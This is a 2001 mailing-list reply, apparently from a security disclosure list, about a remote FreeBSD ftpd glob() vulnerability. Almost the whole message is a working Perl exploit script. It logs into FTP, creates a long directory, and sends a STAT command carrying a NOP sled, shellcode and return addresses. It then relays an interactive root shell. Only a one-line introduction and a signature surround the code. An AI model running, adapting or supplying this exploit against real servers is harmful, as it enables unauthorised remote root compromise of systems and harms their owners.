Re: Remote BSD ftpd glob exploit

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• In reply to: fish stiqz: "Remote BSD ftpd glob exploit"
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On Sat, Apr 14, 2001 at 04:41:43PM -0400, fish stiqz wrote:
> If anyone gets this working on other systems, let me know.

This is another version of globbing exploit, written about week ago. It
creates only one directory.

#!/usr/bin/perl

###############################################################################
# glob() ftpd remote root exploit for freebsd 4.2-stable                      #
#                                                                             #
# babcia padlina ltd. / venglinat_private                             #
#                                                                             #
# this version requires user access and writeable homedir without chroot.     #
###############################################################################

require 5.002;
use strict;
use sigtrap;
use Socket;

my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);

# teso shellcode ripped from 7350obsd

$code  = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
$code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
$code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
$code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
$code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
$code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
$code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
$code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
$code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
$code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

#$ret = 0xbfbfeae8; - stos lagoona
#$ret = 0x805baf8; - bss info
$ret = 0x805e23a; # - bss lagoon

if (@ARGV < 3)
{
	print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
	exit;
}

($host, $user, $pass, $align, $off) = @ARGV;

if (defined($off))
{
	$ret += $off;
}

if (!defined($align))
{
	$align = 1;
}

print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
print "RET: 0x" . sprintf('%lx', $ret) . "\n";
print "Align: $align\n\n";

$iaddr = inet_aton($host)			or die "Unknown host: $host\n";
$paddr = sockaddr_in(21, $iaddr)		or die "getprotobyname: $!\n";
$proto = getprotobyname('tcp')			or die "getprotobyname: $!\n";

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)	or die "socket: $!\n";
connect(SOCKET, $paddr)				or die "connect: $!\n";

do
{
	$recvbuf = <SOCKET>;
}
while($recvbuf =~ /^220- /);

print $recvbuf;

if ($recvbuf !~ /^220 .+/)
{
	die "Exploit failed.\n";
}

send(SOCKET, "USER $user\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^(331|230) .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}

send(SOCKET, "PASS $pass\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^230 .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}
else
{
	print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
}

send(SOCKET, "MKD " . "A"x255 . "\r\n", 0)		or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^(257|550) .+/)
{
	print $recvbuf;
	die "Exploit failed.\n";
}

send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
	pack('l', $ret) x 30 . "\r\n", 0)		or die "send: $!\n";

sleep 1;

send(SOCKET, "id\n", 0) 			or die "send: $!\n";
$recvbuf = <SOCKET>;

if ($recvbuf !~ /^uid=.+/)
{
	die "Exploit failed.\n";
}
else
{
	print $recvbuf;
}

vec($rin, fileno(STDIN), 1) = 1;
vec($rin, fileno(SOCKET), 1) = 1;

for(;;)
{
	$read = select($rout=$rin, undef, undef, undef);
	if (vec($rout, fileno(STDIN), 1) == 1)
	{
		if (sysread(STDIN, $recvbuf, 1024) == 0)
		{
			exit;
		}
		send(SOCKET, $recvbuf, 0);
	}

	if (vec($rout, fileno(SOCKET), 1) == 1)
	{
		if (sysread(SOCKET, $recvbuf, 1024) == 0)
		{
			exit;
		}
		syswrite(STDIN, $recvbuf, 1024);
	}
}

close SOCKET;

exit;

--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslawat_private ** PGP: D48684904685DF43EA93AFA13BE170BF *

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• Previous message: Cisco Systems Product Security Incident Response Team: "Cisco Security Advisory: Catalyst 5000 Series 802.1x Vulnerability"
• In reply to: fish stiqz: "Remote BSD ftpd glob exploit"
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